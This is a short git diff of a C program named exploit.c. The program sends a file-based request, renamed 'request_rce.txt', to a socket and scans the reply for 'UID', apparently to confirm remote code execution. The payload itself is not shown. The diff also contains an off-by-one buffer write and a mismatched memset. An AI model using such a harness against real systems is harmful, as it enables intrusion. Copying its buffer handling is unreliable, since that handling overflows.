diff --git a/exploit.c b/exploit.c index 1b04beb..53bf81a 100644 --- a/exploit.c +++ b/exploit.c @@ -24,10 +24,10 @@ int main(int argc, char** argv){ int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr)); printf("ret_connect = %d\n", ret); - char buffer[100]; + char buffer[1000]; memset(buffer, 0, 100); - FILE* fichier_out = fopen("payload.txt", "r"); + FILE* fichier_out = fopen("request_rce.txt", "r"); fseek(fichier_out, 0, SEEK_END); @@ -45,9 +45,20 @@ int main(int argc, char** argv){ send(fd, "\r\n", 2, 0); int n; printf("recv:\n"); - while (( n = recv(fd, buffer, 99, 0)) > 0){ + const char* pattern_uid = "UID"; + while (( n = recv(fd, buffer, 1000, 0)) > 0){ buffer[n] = 0; - printf("%s", buffer); + int i = 0; + while (buffer[i] != 0){ + if (buffer[i] && buffer[i] == pattern_uid[0] && buffer[i+1] == pattern_uid[1] && buffer[i+2] == pattern_uid[2]){ + printf("UID found\n"); + break; + } + i++; + } + buffer[n] = 0; + memset(buffer, 0, 1000); + //printf("%s", buffer); } fclose(fichier_out); free(file_buffer); diff --git a/request_dir_with_token.txt b/request_dir_with_token.txt new file mode 100644 index 0000000..e69de29 diff --git a/payload.txt b/request_rce.txt similarity index 100% rename from payload.txt rename to request_rce.txt